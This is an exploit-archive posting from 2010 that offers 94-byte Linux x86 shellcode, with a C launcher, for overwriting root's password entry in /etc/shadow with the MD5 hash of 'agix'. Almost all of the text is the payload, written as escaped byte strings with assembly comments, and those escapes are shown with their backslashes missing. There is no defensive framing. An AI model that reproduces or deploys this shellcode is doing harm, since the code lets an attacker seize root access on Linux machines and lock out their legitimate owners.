linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shell
Posted on 17 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode 94 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================================================== linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode 94 bytes =============================================================== /* | Title: Linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode 94 Bytes | Description: replace root's password with hash of "agix" in MD5 | Type: Shellcode | Author: agix | Platform: Linux X86 */ #include <stdio.h> char shellcode[] = "x31xC9" //xor ecx,ecx "x51" //push ecx "x68x61x64x6Fx77" //push dword 0x776f6461 "x68x63x2Fx73x68" //push dword 0x68732f63 "x68x2Fx2Fx65x74" //push dword 0x74652f2f "x89xE3" //mov ebx,esp "x66xB9x91x01" //mov cx,0x191 "x31xC0" //xor eax,eax "xB0x05" //mov al,0x5 "xCDx80" //int 0x80 "x89xC3" //mov ebx,eax "x68x32x48x31x3A" //push dword 0x3a314832 "x68x4Fx65x4Bx66" //push dword 0x664b654f "x68x7Ax37x6Bx45" //push dword 0x456b377a "x68x38x48x35x75" //push dword 0x75354838 "x68x50x73x31x42" //push dword 0x42317350 "x68x24x4Ex75x68" //push dword 0x68754e24 "x68x6Dx67x69x39" //push dword 0x3969676d "x68x49x4Dx4Dx6B" //push dword 0x6b4d4d49 "x89xE1" //mov ecx,esp "x31xC0" //xor eax,eax "x31xD2" //xor edx,edx "xB2x20" //mov dl,0x20 "xB0xB5" //mov al,0xb5 "x31xF6" //xor esi,esi "x46" //inc esi "x46" //inc esi "x01xF6" //add esi,esi "x01xF6" //add esi,esi "x31xFF" //xor edi,edi "xCDx80"; //int 0x80 int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-17]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>